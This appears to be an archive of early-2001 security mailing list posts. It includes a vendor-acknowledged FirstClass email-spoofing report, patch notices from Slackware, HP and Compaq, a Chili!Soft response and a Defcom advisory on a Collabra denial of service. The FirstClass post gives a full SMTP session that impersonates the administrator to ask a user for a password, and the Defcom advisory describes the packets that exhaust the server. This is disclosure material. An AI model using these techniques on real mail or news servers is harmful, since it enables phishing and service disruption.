Matias, Thank you for bringing this matter to our attention. At Centrinity, we take pride in the security of our FirstClass software, and therefore take these reports very seriously. It is important to note that this method could not be used to extract sensitive information outside of an FC system because the reply never goes back out to the internet. For example, if an internet user uses this method to spoof the Administrator and requests a password, the reply would not go back to the internet user, it would go to the real Admin (if it goes anywhere at all). Nevertheless, this is a serious bug that could be exploited for malicious purposes, or at the very least could cause disruption on a FirstClass system. We have fixed this in the next release of FirstClass Internet Services. __ Jim Gelcer Senior QA Analyst, Centrinity Inc. 905.415.7122 (Unified Communications - Voice/Fax) Visit us at www.centrinity.com | [EMAIL PROTECTED] The email gateway included in FirstClass 5.50 can be tricked into sending mail appearing to the users of the firstclass system as coming from a local user on the server, including a priviliged user. Doing a manual sending to the stmp-server specifying username_on_system as the origin of the email will do but will be caught by the server spamfilters, either discarding them or adding "Spam:" to the topic depending on configuration. The requierment for a default configured server not to view incoming mails as spam seems to be the presence of a @ in the From: header line. Using a bogus address including an @ outside of the in the From: field and adding the shorthand adress form @, which is expanded by the server to the adress specified with MAIL FROM: during earlier smtp transaction will be delivered and marked as coming from the specified user. The expanding behaviour is correct iirc, not validating the origin (at all) is the problem. Example: - 220 mail.skynet.foo FirstClass ESMTP Mail Server v5.50 ready MAIL FROM:Admin 250 Admin... Sender ok RCPT TO:[EMAIL PROTECTED] 250 [EMAIL PROTECTED] Recipient ok DATA 354 Send your message, end with CRLF.CRLF To: [EMAIL PROTECTED] From: evil@socialengineer @ Subject: Gimme you password Preferably now! . 250 F1FEEACC Message accepted, transient identifier was 20 - The above message will appear to user as a message from the local admin. The ways to spot the message is in the firstclass "History" function which specifies the mail as "Created by Admin" and "Routed from" an ip adress, which normally does not exist. It's also spottable when the headers, not shown by default, are viewed and that the info for the Admin user is not opened correctly when accessed from that message. Works on both Windows and MacOS versions of the server. //Mattias From
[slackware-security] buffer overflow in sudo fixed
Sudo 1.6.3p6 is now available for Slackware 7.1 and Slackware -current. This release fixes a known buffer overflow, which could be used by malicious users to compromise parts of the system. If you rely on Sudo and use one of the above versions of Slackware, it is recommended that you upgrade to the new sudo.tgz package for the version you're running. Detailed information about Sudo can be obtained from the official web site: http://www.courtesan.com/sudo/ === sudo 1.6.3p6 AVAILABLE - (sudo.tgz) === A buffer overflow exists in the version of Sudo in Slackware 7.1 and -current. Upgrading to sudo 1.6.3p6 addresses this problem. Packages available: For Slackware -current: ftp://ftp.slackware.com/pub/slackware/slackware-current/slakware/ap1/sudo.tgz For Slackware 7.1: ftp://ftp.slackware.com/pub/slackware/slackware-7.1/patches/packages/sudo.tgz For verification purposes, we provide the following checksums: For Slackware -current: 16-bit "sum" checksum: 06790 118 sudo.tgz 128-bit MD5 message digest: 54eb7f61b7e7ef17a204af6369218d7d sudo.tgz For Slackware 7.1: 16-bit "sum" checksum: 02323 118 sudo.tgz 128-bit MD5 message digest: 8e5453142a9beab02384d26a323273eb sudo.tgz INSTALLATION INSTRUCTIONS FOR THE sudo.tgz PACKAGE: --- Make sure that no one is running sudo. Backup any configuration files for sudo, then run this command as root: # upgradepkg sudo.tgz Thew version will be installed on the system and the old one will be removed. Remember, it's also a good idea to backup configuration files before upgrading packages. - Slackware Linux Security Team http://www.slackware.com ++ | HOW TO REMOVE YOURSELF FROM THIS MAILING LIST: | ++ | Send an email to [EMAIL PROTECTED] with this text in the body of | | the email message: | || | unsubscribe slackware-security | || | You will get a confirmation message back. Follow the instructions to | | complete the unsubscription. Do not reply to this message to | | unsubscribe! | ++
Re: Win2k directory services weakness
There a few other ways to get to a hack of this sort. These also assume a compromised DC in one domain of a multidomain Forest. In the organization I work for we have not discovered a satisfactory resolution to these exposures. We may be heading towards the implementation of multiple forests. Some partial resolutions are as follows: Use DNProtect to keep site-connection objects secured against access by SYSTEM context. Problem is, you need to rerun DNProtect every time any change occurs to the object and it isn't offiially supported. Additionally, the only published info on this utility seems to be a mention of it in "Notes from the Field" Promote Replica DCs using the Domain Admin of that domain, not Domain Admin of the empty root domain. This prevents some issues with ownership of objects being marked as the BUILTIN\Administrator account. If ownership is flagged to this account Admins in other DCs can manipulate the objects. This is easy to prevent but runs counter to MS's recommendations. It appears that keeping separate domains from sharing the same sites has some positive effect, but that is ridiculous. Unfortunately, the only means of clearly providing the fault isolation one would expect from separate domains appears to actually be separate forests. Maybe we just don't get this product. It seems fine for smaller organizations, or organizations which already use a single centralized group for all IT administration. In a decentralized environment, it appears to demand either a change in the administrative structure or separate forests.
security bulletins digest (fwd)
-- Forwarded message -- Date: Mon, 26 Feb 2001 03:46:38 -0800 (PST) From: IT Resource Center [EMAIL PROTECTED] To: [EMAIL PROTECTED] Subject: security bulletins digest HP Support Information Digests === o IT Resource Center World Wide Web Service --- If you subscribed through the IT Resource Center and would like to be REMOVED from this mailing list, access the IT Resource Center on the World Wide Web at: http://www.itresourcecenter.hp.com/ Login using your IT Resource Center User ID and Password. Then select Support Information Digests (located under Maintenance and Support). You may then unsubscribe from the appropriate digest. === Digest Name: daily security bulletins digest Created: Mon Feb 26 3:00:04 PST 2001 Table of Contents: Document ID Title --- --- HPSBUX0012-135 Sec. Vulnerability in kermit(1) REVISED01 The documents are listed below. --- Document ID: HPSBUX0012-135 Date Loaded: 20010225 Title: Sec. Vulnerability in kermit(1) REVISED01 -- *REVISED01* HEWLETT-PACKARD COMPANY SECURITY BULLETIN: #0135, 21 Dec '00 Last Revised: 23 Feb. '01 -- The information in the following Security Bulletin should be acted upon as soon as possible. Hewlett-Packard Company will not be liable for any consequences to any customer resulting from customer's failure to fully implement instructions in this Security Bulletin as soon as possible. -- ISSUE: Kermit communications software contains a buffer overflow. PLATFORM: HP9000 Series 700 and 800 running HP-UX releases 11.00, 10.20, 10.10 and 10.01. POSSIBLE RESULT: Users could compromise system availability. SOLUTION: *REVISED01* Apply patches for HP-UX releases as follows: for 11.00: PHCO_22665, ---10.20: PHCO_23319, ---10.10: PHCO_23320, ---10.01: PHCO_23321. AVAILABILITY: The patches are available now. CHANGE SUMMARY: Patches for 10.X are built on current code base. --- I. A. Background Hewlett-Packard Company has become aware of a defect in the Kermit communications software supplied with its operating system in various releases. B. Fixing the problem *REVISED01* The problem can be fully resolved by applying the appropriate patches to the system. For HP-UX releases 11.00: PHCO_22665, ---10.20: PHCO_23319, ---10.10: PHCO_23320, ---10.01: PHCO_23321. While this patch does not require a reboot, appropriately terminating any instances of Kermit before installation of the patch will assure that continued operation with Kermit is now with the patched binaries. C. To subscribe to automatically receive future NEW HP Security Bulletins from the HP IT Resource Center via electronic mail, do the following: Use your browser to get to the HP IT Resource Center page at: http://itrc.hp.com Under the Maintenance and Support Menu (Electronic Support Center): click on the "more..." link. Then - Use the 'Login' tab at the left side of the screen to login using your ID and password. Check with your system administrator to see if you have an existing login or use the "Register" button at the left to create a login. You will need to login in order to gain access to many areas of the ITRC. Remember to save the User ID assigned to you, and your password. Under the Maintenance and Support Menu, click on the "more..." link. Under the "Notifications" section (near the bottom of the page), select "Support Information Digests". To -subscribe- to future HP Security Bulletins or other Technical Digests, click the check box (in the left column) for the appropriate digest and then click the "Update Subscriptions" button at the bottom of the page. or To -review- bulletins already released, select the link (in the middle column) for the appropriate digest. To -gain access- to the Security Patch Matrix, select the link for "hp security bulletins archive" near the bottom. Once in the archive the top link is
Re: Advisory: Chili!Soft ASP Multiple Vulnerabilities
There have been various issues related to security brought to the attention of Chili!Soft. While we are working as quickly as possible to address the more detailed issues, we would like to provide as much information as possible on the current status to help remove as much exposure as possible in the short term. Chili!Soft is dedicated to providing a safe, secure environment for both our customers and their clients. There have been 4 specific issues presented to us. We will cover each in their own section below. 1) Issue: Chili!Soft ASP installs a default username and password for the ASP Admin Console when you choose to install using the "default" installation. Solution: The Admin console username and password can be changed by telneting to the machine and running the "admtool" utility. You must be root to run this utility. Once the utility is started, you can list the existing users, delete, and/or add additional users. It is always strongly advisable to remove any default settings as quickly as possible. Note: By choosing the "custom" installation method, instead of the default, you will be prompted for the ASP Admin console username and password. Software Versions Affected: Linux 3.5.2, AIX 3.6 2) Issue: Chili!Soft ASP sample applications contain the ability to view the source of the sample ASP applications. This "codebrws.asp" script can be exploited to view any files on the system where the full path to the file location is known. Solution: Disable the sample directories. This can be done in different ways, depending on your environment. a) For Chili!Soft customers on Linux environments or using Chili!Soft ASP v3.6 on AIX, go to the ASP Admin Console, click on the ASP Applications link, and remove all of the Chili!Soft ASP Applications that are listed. These all begin with the prefix /caspsamp. b) For customers on Solaris, HP, or previous AIX environments, telnet to the machine and change to the asp engines directory (/opt/casp/asp-apache-3000 by default). Open the casp.cnfg file and comment out the Chili!Soft ASP Sample Applications listed at the bottom of the file under the [ASP Applications] section. Again, these all begin with the prefix /caspsamp. c) The ability to view the ASP Sample applications is limited to the Root web server of a machine. They can not be accessed from a virtual host by default. If you are running in a shared hosting environment, your customers will only have the ability to access the /caspsamp virtual directory *if* they are connecting to the root web server on your machine. Chili!Soft ASP has the ability to enable asp support on a per virtual host basis when used with Apache web servers. You can disable ASP support for the root web server. On Linux and AIX v3.6 installations, this can be done in the Admin Console. Note: *All* of the file access issues presented in the BugTraQ Advisory "Chili!Soft ASP Multiple Vulnerabilities" are directly related to the ability to reach the /caspsamp virtual directory. If one can not view the ASP Sample applications from the web, one can not access the configuration and log files from the web. Software Versions Affected: All Chili!Soft releases on UNIX. 3) Issue: Chili!Soft ASP installs certain configuration files with permission settings that allow world-readable access. Solution: The removal of access to the ASP samples, by performing one of the steps listed in Item (2) above, will block the ability for anyone to view or modify the ASP configuration and log files without having direct access to the filesystem. We have also determined that a number of the files can safely be set to a higher degree of security. Below is a list of what can be done at this time. a) All files in the ASP engines directory (/opt/casp/asp-apache-3000 by default), can be set to either 600 or 700 accordingly, EXCEPT casp.cnfg and odbc.ini. These two files must not be set to any permissions lower than 644. b) In the CASP installation root directory (/opt/casp by default), you can change the permissions on the global_odbc.sh file to 600. Other specific file permission issues are being addressed as quickly as possible and will be modified in an upcoming release. Changing permissions to these files necessitates some changes to our product that must be blessed by Quality Assurance prior to public release in order to ensure that the product will continue to function as expected. We are well underway with this cycle and will try to post updates as appropriate. Software Versions Affected: All Chili!Soft releases on UNIX (on versions other than Linux, filenames and locations may be modified somewhat.) 4) Issue: InheritUser security mode does not properly set the Group ID. Solution: This must be addressed at the code level and thus there is no configuration
def-2001-08: Netscape Collabra DoS
== Defcom Labs Advisory def-2001-08 Netscape Collabra DoS Author: Peter Grndl [EMAIL PROTECTED] Release Date: 2001-02-26 == =[Brief Description]=- By sending malicious packets to the Netscape Collabra Server, it can be brought to consume all available memory and CPU. =[Affected Systems]=-- - Netscape Collabra Server V3.54 for Windows NT --=[Detailed Description]= The collabra server listens on the following TCP ports per default: 119, 5238, 5239 and 20749. By sending approx. 5kb of A's to TCP port 5238 and then terminating the connection, you will cause two handles to be be allocated and approx. 4-5kb kernel memory per connection. The ressources are not freed again, so the attack can take place very slowly and eventually it will consume all available memory. By sending a null character followed by seven or more characters to TCP port 5239, you will cause the process srchs.exe to spike at 100% CPU usage. ---=[Workaround]=- Filter TCP ports 5238 and 5239 from untrusted networks, and contact Netscape Support, if you need further assistance. -=[Vendor Response]=-- The Vendor was contacted January 4th, 2001 and then again four times via phone and email. There is still no indication that the vendor intends to fix this problem. == This release was brought to you by Defcom Labs [EMAIL PROTECTED] www.defcom.com ==
FW: COMPAQ SSRT0708U Security Advisory Tru64 V5.1 (only) inetd
-- Forwarded message -- Date: Mon, 26 Feb 2001 10:44:04 -0600 From: "Boren, Rich" [EMAIL PROTECTED] To: "'[EMAIL PROTECTED]'" [EMAIL PROTECTED] Subject: FW: COMPAQ SSRT0708U Security Advisory Tru64 V5.1 (only) inetd -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 *** NO RESTRICTIONS FOR DISTRIBUTION *** === SOURCE: Compaq Computer CorporationSSRT0708U Software Security Response Team TITLE: Potential denial of Service in inetd Tru64 V5.1 Only (Compaq Case ID: SSRT0708U) Date: 23-FEB-2000 "Compaq is broadly distributing this Security Advisory in order to bring to the attention of users of Compaq products the important security information contained in this Advisory. Compaq recommends that all users determine the applicability of this information to their individual situations and take appropriate action. Compaq does not warrant that this information is necessarily accurate or complete for all user situations and, consequently, Compaq will not be responsible for any damages resulting from user's use or disregard of the information provided in this Advisory." IMPACT: Versions Affected: Compaq's Tru64 UNIX V5.1 ONLY (all patch levels) A potential security vulnerability has been discovered for Tru64 UNIX V5.1, where under certain circumstances, there is a problem with the inetd Internet services daemon that can cause it to stop accepting connections. This causes all services handled by inetd to be inaccessible including ftp, telnet, rsh, rlogin, rexec, pop3, imap, radius, etc.. SEVERITY: Medium PROBLEM STATEMENT: This problem exists in Tru64 UNIX 5.1 inetd only. The /usr/sbin/inetd is the master daemon for many services. The inetd may stop responding to requests if one of its services cores as it is being started. Inetd continues to run. The netstat -An command may indicate many outstanding connections to the same PCB. If you are installing Open Source Internet Solutions on Tru64 UNIX Version 5.1, it is strongly urged that you install this patch kit. If you are installing Open Source Internet Solutions on a Tru64 UNIX Version 5.1 TruCluster system, you must install this patch kit prior to installing Open Source Internet Solutions because without it inetd failure during this procedure will cause an installation failure since it will interfere with intra-cluster communications. SOLUTION: Compaq Tru64 UNIX engineering has provided a fix for this potential problem for Tru64 UNIX V5.1 We apologize that this fix is not available from our patch site. If you determine that you need this fix please contact your normal Compaq Services support channel and request a patch using the reference SSRT0708U. This solution will be included in future releases of Tru64 UNIX V5.1 aggregate patch kits. To subscribe to automatically receive future NEW Security Advisories from the Software Security Response Team at Compaq via electronic mail, Use your browser to get to the http://www.support.compaq.com/patches/mailing-list.shtml and sign up. Select "Security and Individual Notices" for immediate dispatch notifications. Compaq appreciates your cooperation and patience. We regret any inconvenience applying this information may cause. As always, Compaq urges you to periodically review your system management and security procedures. Compaq will continue to review and enhance the security features of its products and work with customers to maintain and improve the security and integrity of their systems. (c) Copyright 2001 Compaq Computer Corporation. All rights reserved -BEGIN PGP SIGNATURE- Version: PGPfreeware 6.5.8 for non-commercial use http://www.pgp.com iQA/AwUBOpqHKKgxZJFjvD74EQJUwgCfXJEYoYSJYYxrKNmbpX7bBDNMiqsAnjaL LfJteqxeY7s9leizezXY2izU =pKLH -END PGP SIGNATURE-
